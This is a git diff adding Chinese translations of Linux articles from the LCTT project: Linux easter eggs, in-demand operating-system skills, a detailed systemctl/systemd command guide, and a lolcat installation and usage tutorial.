+在你的Linux终端里有很多彩蛋真真是极好的……但是如果你还想要变得……更有魅力些怎么办?输入:lolcat。把任何一个程序的文本输出通过管道输入到lolcat里。你会得到它的超级无敌彩虹版。 + +![](http://www.linux.com/images/stories/41373/lolcat.jpg) + +*把任何一个程序的文本输出通过管道输入到lolcat里。你会得到它的超级无敌彩虹版。* + +### 追光标的小家伙 ### + +![oneko cat](http://www.linux.com/images/stories/41373/onekocat.jpg) + +*“Oneko” -- 经典 “Neko”的Linux移植版本。* + +接下来是“Oneko” -- 经典 “[Neko][16]”的Linux移植版本。基本上就是个满屏幕追着你的光标跑的小猫。 + +虽然严格来它并不算是“彩蛋”,它还是很有趣的。而且感觉上也是很彩蛋的。 + +你还可以用不同的选项(比如“oneko -dog”)把小猫替代成小狗,或是调成其他样式。用这个对付讨厌的同事有着无限的可能。 + +就是这些了!一个我最喜欢的Linux彩蛋(或是类似东西)的清单。请尽情的的在下面的评论区留下你的最爱。因为这是互联网。你就能做这些事。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/software/applications/820944-10-truly-amusing-linux-easter-eggs- + +作者:[Bryan Lunduke][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/56734 +[1]:http://en.wikipedia.org/wiki/Adventure_(Atari_2600) +[2]:http://en.wikipedia.org/wiki/Warren_Robinett +[3]:http://en.wikipedia.org/wiki/PDP-10 +[4]:http://en.wikipedia.org/wiki/Arch_Linux +[5]:http://en.wikipedia.org/wiki/Pac-Man +[6]:http://www.linux.com/news/software/applications/820944-10-truly-amusing-linux-easter-eggs-#Pacman +[7]:http://en.wikipedia.org/wiki/GNU_Emacs +[8]:https://www.youtube.com/watch?v=AQ4NAZPi2js +[9]:https://wiki.debian.org/Aptitude +[10]:http://en.wikipedia.org/wiki/The_Book_of_Mozilla +[11]:http://en.wikipedia.org/wiki/Gregorian_calendar +[12]:http://en.wikipedia.org/wiki/Discordian_calendar +[13]:http://nmap.org/book/output-formats-script-kiddie.html +[14]:http://nmap.org/book/output-formats-script-kiddie.html +[15]:https://www.youtube.com/watch?v=Ql1uLyuWra8 +[16]:http://en.wikipedia.org/wiki/Neko_%28computer_program%29 diff --git a/published/201507/20150410 10 Top Distributions in Demand to Get Your Dream Job.md b/published/201507/20150410 10 Top Distributions in Demand to Get Your Dream Job.md new file mode 100644 index 0000000000..5d0033c457 --- /dev/null +++ b/published/201507/20150410 10 Top Distributions in Demand to Get Your Dream Job.md @@ -0,0 +1,150 @@ +10 大帮助你获得理想的职业的操作系统技能 +================================================================================ +我们用了5篇系列文章,来让人们意识到那些可以帮助他们获得理想职业的顶级技能。在这个充满竞争的社会里,你不能仅仅依赖一项仅能,你需要在多个职业技能上都有所涉猎。我们并不能权衡这些技能,但是我们可以参考这些几乎不变的惯例和统计数据。 + +下面的文章和紧跟其后的内容,是针对全球各大IT公司上一季度对员工技能要求的详细调查报告。统计数据真实的反映了需求和市场的变化。我们会尽力让这份报告保持时效性,特别是有明显变化的时候。这五篇系列文章是: + +- 10大帮助你获得理想的职业的需求分布 +- [10大帮助你获得职位的著名 IT 技能][1] +- [10大帮助你获得理想职位的项目技能][2] +- [10大帮助你赢得理想职位的网络技能][3] +- [10大帮助你获得理想职位的个人认证][4] + +### 1. Windows ### + +微软研发的windows操作系统不仅在PC市场上占据龙头地位,而且从职位视角来看也是最抢手的操作系统技能,不管你是赞成还是反对。有资料显示上一季度需求增长达到0.1%. + +最新版本 : Windows 8.1 + +### 2. Red Hat Enterprise Linux ### + +Red Hat Enterprise Linux 是一个商业的Linux发行版本,它由红帽公司研发。它是世界上运用最广的Linux发行版本之一,特别是在生产环境和协同工作方面。上一季度其整体需求上涨17%,位列第二。 + +最新版本 : RedHat Enterprise Linux 7.1 + +### 3. Solaris ### + +排在第三的是 Solaris UNIX操作系统,最初由Sun Microsystems公司研发,现由Oracle公司负责继续研发。在上一季度起需求率上涨14%. + +最新版本:Oracle Solaris 10 1/13 + +### 4. AIX ### + +排在第四的是AIX,这是一款由IBM研发的专用 Unix 操作系统。在上一季度需求率上涨11%。 + +最新版本 : AIX 7 + +### 5. Android ### + +排在第5的是谷歌公司研发的安卓系统,它是一款使用非常广泛的开源操作系统,专门为手机、平板电脑、可穿戴设备设计的。在上一季度需求率上涨4%。 + +最新版本 : Android 5.1 aka Lollipop + +### 6. CentOS ### + +排在第6的是 CentOS,它是从 RedHat Enterprise Linux 衍生出的一个发行版本。在上一季度需求率上涨接近22%。 + +最新版本 : CentOS 7 + +### 7. Ubuntu ### + +排在第7的是Ubuntu,这是一款由Canonicals公司研发设计的Linux系统,旨在服务于个人。上一季度需求率上涨11%。 + +最新版本 : + +- Ubuntu 14.10 (已有九个月的安全和维护更新). +- Ubuntu 14.04.2 LTS + +### 8. Suse ### + +排在第8的是由Novell研发的 Suse,这款发行版本的Linux操作系统因为YaST 配置工具而闻名。其上一季度需求率上涨8%。 + +最新版本 : 13.2 + +### 9. Debian ### + +排在第9的是非常有名的 Linux 操作系统Debian,它是上百种Linux 发行版之母,非常接近GNU理念。其上一季度需求率上涨9%。 + +最新版本: Debian 7.8 + +### 10. HP-UX ### + +排在第10的是Hewlett-Packard公司研发的专用 Linux 操作系统HP-UX,上一季度需求率上涨5%。 + +最新版本 : 11i v3 Update 13 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
1Windows0.1% +
2RedHat17% +
3Solaris14% +
4AIX11% +
5Android4% +
6CentOS22% +
7Ubuntu11% +
8Suse8% +
9Debian9% -
10HP-UX5% -
+ +以上便是全部信息,我会尽快推出下一篇系列文章,敬请关注Tecmint。不要忘了留下您宝贵的评论。如果您喜欢我们的文章并且与我们分享您的见解,这对我们的工作是一种鼓励。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/top-distributions-in-demand-to-get-your-dream-job/ + +作者:[Avishek Kumar][a] +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/famous-it-skills-in-demand-that-will-get-you-hired/ +[2]:https://linux.cn/article-5303-1.html +[3]:http://www.tecmint.com/networking-protocols-skills-to-land-your-dream-job/ +[4]:http://www.tecmint.com/professional-certifications-in-demand-that-will-get-you-hired/ diff --git a/published/201507/20150505 How to Manage 'Systemd' Services and Units Using 'Systemctl' in Linux.md b/published/201507/20150505 How to Manage 'Systemd' Services and Units Using 'Systemctl' in Linux.md new file mode 100644 index 0000000000..e8b8466f90 --- /dev/null +++ b/published/201507/20150505 How to Manage 'Systemd' Services and Units Using 'Systemctl' in Linux.md @@ -0,0 +1,578 @@ +systemctl 完全指南 +================================================================================ +Systemctl是一个systemd工具,主要负责控制systemd系统和服务管理器。 + +Systemd是一个系统管理守护进程、工具和库的集合,用于取代System V初始进程。Systemd的功能是用于集中管理和配置类UNIX系统。 + +在Linux生态系统中,Systemd被部署到了大多数的标准Linux发行版中,只有为数不多的几个发行版尚未部署。Systemd通常是所有其它守护进程的父进程,但并非总是如此。 + +![Manage Linux Services Using Systemctl](http://www.tecmint.com/wp-content/uploads/2015/04/Manage-Linux-Services-Using-Systemctl.jpg) + +*使用Systemctl管理Linux服务* + +本文旨在阐明在运行systemd的系统上“如何控制系统和服务”。 + +### Systemd初体验和Systemctl基础 ### + +#### 1. 首先检查你的系统中是否安装有systemd并确定当前安装的版本 #### + + # systemd --version + + systemd 215 + +PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR + +上例中很清楚地表明,我们安装了215版本的systemd。 + +#### 2. 检查systemd和systemctl的二进制文件和库文件的安装位置 #### + + # whereis systemd + systemd: /usr/lib/systemd /etc/systemd /usr/share/systemd /usr/share/man/man1/systemd.1.gz + + + # whereis systemctl + systemctl: /usr/bin/systemctl /usr/share/man/man1/systemctl.1.gz + +#### 3. 检查systemd是否运行 #### + + # ps -eaf | grep [s]ystemd + + root 1 0 0 16:27 ? 00:00:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + root 444 1 0 16:27 ? 00:00:00 /usr/lib/systemd/systemd-journald + root 469 1 0 16:27 ? 00:00:00 /usr/lib/systemd/systemd-udevd + root 555 1 0 16:27 ? 00:00:00 /usr/lib/systemd/systemd-logind + dbus 556 1 0 16:27 ? 00:00:00 /bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation + +**注意**:systemd是作为父进程(PID=1)运行的。在上面带(-e)参数的ps命令输出中,选择所有进程,(-a)选择除会话前导外的所有进程,并使用(-f)参数输出完整格式列表(即 -eaf)。 + +也请注意上例中后随的方括号和例子中剩余部分。方括号表达式是grep的字符类表达式的一部分。 + +#### 4. 分析systemd启动进程 #### + + # systemd-analyze + Startup finished in 487ms (kernel) + 2.776s (initrd) + 20.229s (userspace) = 23.493s + +#### 5. 分析启动时各个进程花费的时间 #### + + # systemd-analyze blame + + 8.565s mariadb.service + 7.991s webmin.service + 6.095s postfix.service + 4.311s httpd.service + 3.926s firewalld.service + 3.780s kdump.service + 3.238s tuned.service + 1.712s network.service + 1.394s lvm2-monitor.service + 1.126s systemd-logind.service + .... + +#### 6. 分析启动时的关键链 #### + + # systemd-analyze critical-chain + + The time after the unit is active or started is printed after the "@" character. + The time the unit takes to start is printed after the "+" character. + + multi-user.target @20.222s + └─mariadb.service @11.657s +8.565s + └─network.target @11.168s + └─network.service @9.456s +1.712s + └─NetworkManager.service @8.858s +596ms + └─firewalld.service @4.931s +3.926s + └─basic.target @4.916s + └─sockets.target @4.916s + └─dbus.socket @4.916s + └─sysinit.target @4.905s + └─systemd-update-utmp.service @4.864s +39ms + └─auditd.service @4.563s +301ms + └─systemd-tmpfiles-setup.service @4.485s +69ms + └─rhel-import-state.service @4.342s +142ms + └─local-fs.target @4.324s + └─boot.mount @4.286s +31ms + └─systemd-fsck@dev-disk-by\x2duuid-79f594ad\x2da332\x2d4730\x2dbb5f\x2d85d19608096 + └─dev-disk-by\x2duuid-79f594ad\x2da332\x2d4730\x2dbb5f\x2d85d196080964.device @4 + +**重要**:Systemctl接受服务(.service),挂载点(.mount),套接口(.socket)和设备(.device)作为单元。 + +#### 7. 列出所有可用单元 #### + + # systemctl list-unit-files + + UNIT FILE STATE + proc-sys-fs-binfmt_misc.automount static + dev-hugepages.mount static + dev-mqueue.mount static + proc-sys-fs-binfmt_misc.mount static + sys-fs-fuse-connections.mount static + sys-kernel-config.mount static + sys-kernel-debug.mount static + tmp.mount disabled + brandbot.path disabled + ..... + +#### 8. 列出所有运行中单元 #### + + # systemctl list-units + + UNIT LOAD ACTIVE SUB DESCRIPTION + proc-sys-fs-binfmt_misc.automount loaded active waiting Arbitrary Executable File Formats File Syste + sys-devices-pc...0-1:0:0:0-block-sr0.device loaded active plugged VBOX_CD-ROM + sys-devices-pc...:00:03.0-net-enp0s3.device loaded active plugged PRO/1000 MT Desktop Adapter + sys-devices-pc...00:05.0-sound-card0.device loaded active plugged 82801AA AC'97 Audio Controller + sys-devices-pc...:0:0-block-sda-sda1.device loaded active plugged VBOX_HARDDISK + sys-devices-pc...:0:0-block-sda-sda2.device loaded active plugged LVM PV Qzyo3l-qYaL-uRUa-Cjuk-pljo-qKtX-VgBQ8 + sys-devices-pc...0-2:0:0:0-block-sda.device loaded active plugged VBOX_HARDDISK + sys-devices-pl...erial8250-tty-ttyS0.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS0 + sys-devices-pl...erial8250-tty-ttyS1.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS1 + sys-devices-pl...erial8250-tty-ttyS2.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS2 + sys-devices-pl...erial8250-tty-ttyS3.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS3 + sys-devices-virtual-block-dm\x2d0.device loaded active plugged /sys/devices/virtual/block/dm-0 + sys-devices-virtual-block-dm\x2d1.device loaded active plugged /sys/devices/virtual/block/dm-1 + sys-module-configfs.device loaded active plugged /sys/module/configfs + ... + +#### 9. 列出所有失败单元 #### + + # systemctl --failed + + UNIT LOAD ACTIVE SUB DESCRIPTION + kdump.service loaded failed failed Crash recovery kernel arming + + LOAD = Reflects whether the unit definition was properly loaded. + ACTIVE = The high-level unit activation state, i.e. generalization of SUB. + SUB = The low-level unit activation state, values depend on unit type. + + 1 loaded units listed. Pass --all to see loaded but inactive units, too. + To show all installed unit files use 'systemctl list-unit-files'. + +#### 10. 检查某个单元(如 cron.service)是否启用 #### + + # systemctl is-enabled crond.service + + enabled + +#### 11. 检查某个单元或服务是否运行 #### + + # systemctl status firewalld.service + + firewalld.service - firewalld - dynamic firewall daemon + Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled) + Active: active (running) since Tue 2015-04-28 16:27:55 IST; 34min ago + Main PID: 549 (firewalld) + CGroup: /system.slice/firewalld.service + └─549 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid + + Apr 28 16:27:51 tecmint systemd[1]: Starting firewalld - dynamic firewall daemon... + Apr 28 16:27:55 tecmint systemd[1]: Started firewalld - dynamic firewall daemon. + +### 使用Systemctl控制并管理服务 ### + +#### 12. 列出所有服务(包括启用的和禁用的) #### + + # systemctl list-unit-files --type=service + + UNIT FILE STATE + arp-ethers.service disabled + auditd.service enabled + autovt@.service disabled + blk-availability.service disabled + brandbot.service static + collectd.service disabled + console-getty.service disabled + console-shell.service disabled + cpupower.service disabled + crond.service enabled + dbus-org.fedoraproject.FirewallD1.service enabled + .... + +#### 13. Linux中如何启动、重启、停止、重载服务以及检查服务(如 httpd.service)状态 #### + + # systemctl start httpd.service + # systemctl restart httpd.service + # systemctl stop httpd.service + # systemctl reload httpd.service + # systemctl status httpd.service + + httpd.service - The Apache HTTP Server + Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled) + Active: active (running) since Tue 2015-04-28 17:21:30 IST; 6s ago + Process: 2876 ExecStop=/bin/kill -WINCH ${MAINPID} (code=exited, status=0/SUCCESS) + Main PID: 2881 (httpd) + Status: "Processing requests..." + CGroup: /system.slice/httpd.service + ├─2881 /usr/sbin/httpd -DFOREGROUND + ├─2884 /usr/sbin/httpd -DFOREGROUND + ├─2885 /usr/sbin/httpd -DFOREGROUND + ├─2886 /usr/sbin/httpd -DFOREGROUND + ├─2887 /usr/sbin/httpd -DFOREGROUND + └─2888 /usr/sbin/httpd -DFOREGROUND + + Apr 28 17:21:30 tecmint systemd[1]: Starting The Apache HTTP Server... + Apr 28 17:21:30 tecmint httpd[2881]: AH00558: httpd: Could not reliably determine the server's fully q...ssage + Apr 28 17:21:30 tecmint systemd[1]: Started The Apache HTTP Server. + Hint: Some lines were ellipsized, use -l to show in full. + +**注意**:当我们使用systemctl的start,restart,stop和reload命令时,我们不会从终端获取到任何输出内容,只有status命令可以打印输出。 + +#### 14. 如何激活服务并在启动时启用或禁用服务(即系统启动时自动启动服务) #### + + # systemctl is-active httpd.service + # systemctl enable httpd.service + # systemctl disable httpd.service + +#### 15. 如何屏蔽(让它不能启动)或显示服务(如 httpd.service) #### + + # systemctl mask httpd.service + ln -s '/dev/null' '/etc/systemd/system/httpd.service' + + # systemctl unmask httpd.service + rm '/etc/systemd/system/httpd.service' + +#### 16. 使用systemctl命令杀死服务 #### + + # systemctl kill httpd + # systemctl status httpd + + httpd.service - The Apache HTTP Server + Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled) + Active: failed (Result: exit-code) since Tue 2015-04-28 18:01:42 IST; 28min ago + Main PID: 2881 (code=exited, status=0/SUCCESS) + Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec" + + Apr 28 17:37:29 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:29 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:39 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:39 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:49 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:49 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:59 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 17:37:59 tecmint systemd[1]: httpd.service: Got notification message from PID 2881, but recepti...bled. + Apr 28 18:01:42 tecmint systemd[1]: httpd.service: control process exited, code=exited status=226 + Apr 28 18:01:42 tecmint systemd[1]: Unit httpd.service entered failed state. + Hint: Some lines were ellipsized, use -l to show in full. + +### 使用Systemctl控制并管理挂载点 ### + +#### 17. 列出所有系统挂载点 #### + + # systemctl list-unit-files --type=mount + + UNIT FILE STATE + dev-hugepages.mount static + dev-mqueue.mount static + proc-sys-fs-binfmt_misc.mount static + sys-fs-fuse-connections.mount static + sys-kernel-config.mount static + sys-kernel-debug.mount static + tmp.mount disabled + +#### 18. 挂载、卸载、重新挂载、重载系统挂载点并检查系统中挂载点状态 #### + + # systemctl start tmp.mount + # systemctl stop tmp.mount + # systemctl restart tmp.mount + # systemctl reload tmp.mount + # systemctl status tmp.mount + + tmp.mount - Temporary Directory + Loaded: loaded (/usr/lib/systemd/system/tmp.mount; disabled) + Active: active (mounted) since Tue 2015-04-28 17:46:06 IST; 2min 48s ago + Where: /tmp + What: tmpfs + Docs: man:hier(7) + + http://www.freedesktop.org/wiki/Software/systemd/APIFileSystems + + Process: 3908 ExecMount=/bin/mount tmpfs /tmp -t tmpfs -o mode=1777,strictatime (code=exited, status=0/SUCCESS) + + Apr 28 17:46:06 tecmint systemd[1]: Mounting Temporary Directory... + Apr 28 17:46:06 tecmint systemd[1]: tmp.mount: Directory /tmp to mount over is not empty, mounting anyway. + Apr 28 17:46:06 tecmint systemd[1]: Mounted Temporary Directory. + +#### 19. 在启动时激活、启用或禁用挂载点(系统启动时自动挂载) #### + + # systemctl is-active tmp.mount + # systemctl enable tmp.mount + # systemctl disable tmp.mount + +#### 20. 在Linux中屏蔽(让它不能启用)或可见挂载点 #### + + # systemctl mask tmp.mount + + ln -s '/dev/null' '/etc/systemd/system/tmp.mount' + + # systemctl unmask tmp.mount + + rm '/etc/systemd/system/tmp.mount' + +### 使用Systemctl控制并管理套接口 ### + +#### 21. 列出所有可用系统套接口 #### + + # systemctl list-unit-files --type=socket + + UNIT FILE STATE + dbus.socket static + dm-event.socket enabled + lvm2-lvmetad.socket enabled + rsyncd.socket disabled + sshd.socket disabled + syslog.socket static + systemd-initctl.socket static + systemd-journald.socket static + systemd-shutdownd.socket static + systemd-udevd-control.socket static + systemd-udevd-kernel.socket static + + 11 unit files listed. + +#### 22. 在Linux中启动、重启、停止、重载套接口并检查其状态#### + + # systemctl start cups.socket + # systemctl restart cups.socket + # systemctl stop cups.socket + # systemctl reload cups.socket + # systemctl status cups.socket + + cups.socket - CUPS Printing Service Sockets + Loaded: loaded (/usr/lib/systemd/system/cups.socket; enabled) + Active: active (listening) since Tue 2015-04-28 18:10:59 IST; 8s ago + Listen: /var/run/cups/cups.sock (Stream) + + Apr 28 18:10:59 tecmint systemd[1]: Starting CUPS Printing Service Sockets. + Apr 28 18:10:59 tecmint systemd[1]: Listening on CUPS Printing Service Sockets. + +#### 23. 在启动时激活套接口,并启用或禁用它(系统启动时自启动) #### + + # systemctl is-active cups.socket + # systemctl enable cups.socket + # systemctl disable cups.socket + +#### 24. 屏蔽(使它不能启动)或显示套接口 #### + + # systemctl mask cups.socket + ln -s '/dev/null' '/etc/systemd/system/cups.socket' + + # systemctl unmask cups.socket + rm '/etc/systemd/system/cups.socket' + +### 服务的CPU利用率(分配额) ### + +#### 25. 获取当前某个服务的CPU分配额(如httpd) #### + + # systemctl show -p CPUShares httpd.service + + CPUShares=1024 + +**注意**:各个服务的默认CPU分配份额=1024,你可以增加/减少某个进程的CPU分配份额。 + +#### 26. 将某个服务(httpd.service)的CPU分配份额限制为2000 CPUShares/ #### + + # systemctl set-property httpd.service CPUShares=2000 + # systemctl show -p CPUShares httpd.service + + CPUShares=2000 + +**注意**:当你为某个服务设置CPUShares,会自动创建一个以服务名命名的目录(如 httpd.service),里面包含了一个名为90-CPUShares.conf的文件,该文件含有CPUShare限制信息,你可以通过以下方式查看该文件: + + # vi /etc/systemd/system/httpd.service.d/90-CPUShares.conf + + [Service] + CPUShares=2000 + +#### 27. 检查某个服务的所有配置细节 #### + + # systemctl show httpd + + Id=httpd.service + Names=httpd.service + Requires=basic.target + Wants=system.slice + WantedBy=multi-user.target + Conflicts=shutdown.target + Before=shutdown.target multi-user.target + After=network.target remote-fs.target nss-lookup.target systemd-journald.socket basic.target system.slice + Description=The Apache HTTP Server + LoadState=loaded + ActiveState=active + SubState=running + FragmentPath=/usr/lib/systemd/system/httpd.service + .... + +#### 28. 分析某个服务(httpd)的关键链 #### + + # systemd-analyze critical-chain httpd.service + + The time after the unit is active or started is printed after the "@" character. + The time the unit takes to start is printed after the "+" character. + + httpd.service +142ms + └─network.target @11.168s + └─network.service @9.456s +1.712s + └─NetworkManager.service @8.858s +596ms + └─firewalld.service @4.931s +3.926s + └─basic.target @4.916s + └─sockets.target @4.916s + └─dbus.socket @4.916s + └─sysinit.target @4.905s + └─systemd-update-utmp.service @4.864s +39ms + └─auditd.service @4.563s +301ms + └─systemd-tmpfiles-setup.service @4.485s +69ms + └─rhel-import-state.service @4.342s +142ms + └─local-fs.target @4.324s + └─boot.mount @4.286s +31ms + └─systemd-fsck@dev-disk-by\x2duuid-79f594ad\x2da332\x2d4730\x2dbb5f\x2d85d196080964.service @4.092s +149ms + └─dev-disk-by\x2duuid-79f594ad\x2da332\x2d4730\x2dbb5f\x2d85d196080964.device @4.092s + +#### 29. 获取某个服务(httpd)的依赖性列表 #### + + # systemctl list-dependencies httpd.service + + httpd.service + ├─system.slice + └─basic.target + ├─firewalld.service + ├─microcode.service + ├─rhel-autorelabel-mark.service + ├─rhel-autorelabel.service + ├─rhel-configure.service + ├─rhel-dmesg.service + ├─rhel-loadmodules.service + ├─paths.target + ├─slices.target + │ ├─-.slice + │ └─system.slice + ├─sockets.target + │ ├─dbus.socket + .... + +#### 30. 按等级列出控制组 #### + + # systemd-cgls + + ├─1 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + ├─user.slice + │ └─user-0.slice + │ └─session-1.scope + │ ├─2498 sshd: root@pts/0 + │ ├─2500 -bash + │ ├─4521 systemd-cgls + │ └─4522 systemd-cgls + └─system.slice + ├─httpd.service + │ ├─4440 /usr/sbin/httpd -DFOREGROUND + │ ├─4442 /usr/sbin/httpd -DFOREGROUND + │ ├─4443 /usr/sbin/httpd -DFOREGROUND + │ ├─4444 /usr/sbin/httpd -DFOREGROUND + │ ├─4445 /usr/sbin/httpd -DFOREGROUND + │ └─4446 /usr/sbin/httpd -DFOREGROUND + ├─polkit.service + │ └─721 /usr/lib/polkit-1/polkitd --no-debug + .... + +#### 31. 按CPU、内存、输入和输出列出控制组 #### + + # systemd-cgtop + + Path Tasks %CPU Memory Input/s Output/s + + / 83 1.0 437.8M - - + /system.slice - 0.1 - - - + /system.slice/mariadb.service 2 0.1 - - - + /system.slice/tuned.service 1 0.0 - - - + /system.slice/httpd.service 6 0.0 - - - + /system.slice/NetworkManager.service 1 - - - - + /system.slice/atop.service 1 - - - - + /system.slice/atopacct.service 1 - - - - + /system.slice/auditd.service 1 - - - - + /system.slice/crond.service 1 - - - - + /system.slice/dbus.service 1 - - - - + /system.slice/firewalld.service 1 - - - - + /system.slice/lvm2-lvmetad.service 1 - - - - + /system.slice/polkit.service 1 - - - - + /system.slice/postfix.service 3 - - - - + /system.slice/rsyslog.service 1 - - - - + /system.slice/system-getty.slice/getty@tty1.service 1 - - - - + /system.slice/systemd-journald.service 1 - - - - + /system.slice/systemd-logind.service 1 - - - - + /system.slice/systemd-udevd.service 1 - - - - + /system.slice/webmin.service 1 - - - - + /user.slice/user-0.slice/session-1.scope 3 - - - - + +### 控制系统运行等级 ### + +#### 32. 启动系统救援模式 #### + + # systemctl rescue + + Broadcast message from root@tecmint on pts/0 (Wed 2015-04-29 11:31:18 IST): + + The system is going down to rescue mode NOW! + +#### 33. 进入紧急模式 #### + + # systemctl emergency + + Welcome to emergency mode! After logging in, type "journalctl -xb" to view + system logs, "systemctl reboot" to reboot, "systemctl default" to try again + to boot into default mode. + +#### 34. 列出当前使用的运行等级 #### + + # systemctl get-default + + multi-user.target + +#### 35. 启动运行等级5,即图形模式 #### + + # systemctl isolate runlevel5.target + 或 + # systemctl isolate graphical.target + +#### 36. 启动运行等级3,即多用户模式(命令行) #### + + # systemctl isolate runlevel3.target + 或 + # systemctl isolate multiuser.target + +#### 36. 设置多用户模式或图形模式为默认运行等级 #### + + # systemctl set-default runlevel3.target + + # systemctl set-default runlevel5.target + +#### 37. 重启、停止、挂起、休眠系统或使系统进入混合睡眠 #### + + # systemctl reboot + + # systemctl halt + + # systemctl suspend + + # systemctl hibernate + + # systemctl hybrid-sleep + +对于不知运行等级为何物的人,说明如下。 + +- Runlevel 0 : 关闭系统 +- Runlevel 1 : 救援?维护模式 +- Runlevel 3 : 多用户,无图形系统 +- Runlevel 4 : 多用户,无图形系统 +- Runlevel 5 : 多用户,图形化系统 +- Runlevel 6 : 关闭并重启机器 + +到此为止吧。保持连线,进行评论。别忘了在下面的评论中为我们提供一些有价值的反馈哦。喜欢我们、与我们分享,求扩散。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-services-using-systemd-and-systemctl-in-linux/ + +作者:[Avishek Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ diff --git a/published/201507/20150515 Lolcat--A Command Line Tool to Output Rainbow Of Colors in Linux Terminal.md b/published/201507/20150515 Lolcat--A Command Line Tool to Output Rainbow Of Colors in Linux Terminal.md new file mode 100644 index 0000000000..b454f6f5aa --- /dev/null +++ b/published/201507/20150515 Lolcat--A Command Line Tool to Output Rainbow Of Colors in Linux Terminal.md @@ -0,0 +1,176 @@ +Lolcat :一个在 Linux 终端中输出彩虹特效的命令行工具 +================================================================================ +那些相信 Linux 命令行是单调无聊且没有任何乐趣的人们,你们错了,这里有一些有关 Linux 的文章,它们展示着 Linux 是如何的有趣和“淘气” 。 + +- [Linux命令及Linux终端的20个趣事][1] +- [终端中的乐趣:6个有趣的Linux命令行工具][2] +- [Linux终端的乐趣之把玩字词计数][3] + +在本文中,我将讨论一个名为“lolcat”的小工具 – 它可以在终端中生成彩虹般的颜色。 + +![为终端生成彩虹般颜色的输出的 Lolcat 命令](http://www.tecmint.com/wp-content/uploads/2015/06/Linux-Lolcat.png) + +*为终端生成彩虹般颜色的输出的 Lolcat 命令* + +#### 何为 lolcat ? #### + +Lolcat 是一个针对 Linux,BSD 和 OSX 平台的工具,它类似于 [cat 命令][4],并为 `cat` 的输出添加彩虹般的色彩。 Lolcat 主要用于在 Linux 终端中为文本添加彩虹般的色彩。 + +### 在 Linux 中安装 Lolcat ### + +**1. Lolcat 工具在许多 Linux 发行版的软件仓库中都可获取到,但可获得的版本都有些陈旧,而你可以通过 git 仓库下载和安装最新版本的 lolcat。** + +由于 Lolcat 是一个 ruby gem 程序,所以在你的系统中必须安装有最新版本的 RUBY。 + + # apt-get install ruby [在基于 APT 的系统中] + # yum install ruby [在基于 Yum 的系统中] + # dnf install ruby [在基于 DNF 的系统中] + +一旦 ruby 软件包安装成功,请确保验证安装的 ruby 的版本。 + + # ruby --version + + ruby 2.1.5p273 (2014-11-13) [x86_64-linux-gnu] + +**2. 接着使用下面的命令来从 lolcat 的 git 仓库中下载和安装最新版本的 lolcat。** + + # wget https://github.com/busyloop/lolcat/archive/master.zip + # unzip master.zip + # cd lolcat-master/bin + # gem install lolcat + +一旦 lolcat 安装后,你可以检查它的版本号。 + + # lolcat --version + + lolcat 42.0.99 (c)2011 moe@busyloop.net + +### Lolcat 的用法 ### + +**3. 在开始使用 lolcat 之前,使用下面的命令来了解它可用的选项和其帮助文档。** + + # lolcat -h + +![Lolcat 的帮助文档](http://www.tecmint.com/wp-content/uploads/2015/06/Lolcat-Help1.png) + +*Lolcat 的帮助文档* + +**4. 接着, 通过管道连接 lolcat 和其他命令,例如 ps, date 和 cal:** + + # ps | lolcat + # date | lolcat + # cal | lolcat + +![ps 命令的输出](http://www.tecmint.com/wp-content/uploads/2015/06/ps-command-output.png) + +*ps 命令的输出* + +![Date 的输出](http://www.tecmint.com/wp-content/uploads/2015/06/Date.png) + +*Date 的输出* + +![Calendar 的输出](http://www.tecmint.com/wp-content/uploads/2015/06/Cal.png) + +*Calendar 的输出* + +**5. 使用 lolcat 来展示一个脚本文件的代码:** + + # lolcat test.sh + +![用 lolcat 来展示代码](http://www.tecmint.com/wp-content/uploads/2015/06/Script-Output.png) + +*用 lolcat 来展示代码* + +**6. 通过管道连接 lolcat 和 figlet 命令。Figlet 是一个展示由常规的屏幕字符组成的巨大字符串的应用。我们可以通过管道将 figlet 的输出连接到 lolcat 中来展示出如下的多彩输出:** + + # echo I ❤ Tecmint | lolcat + # figlet I Love Tecmint | lolcat + 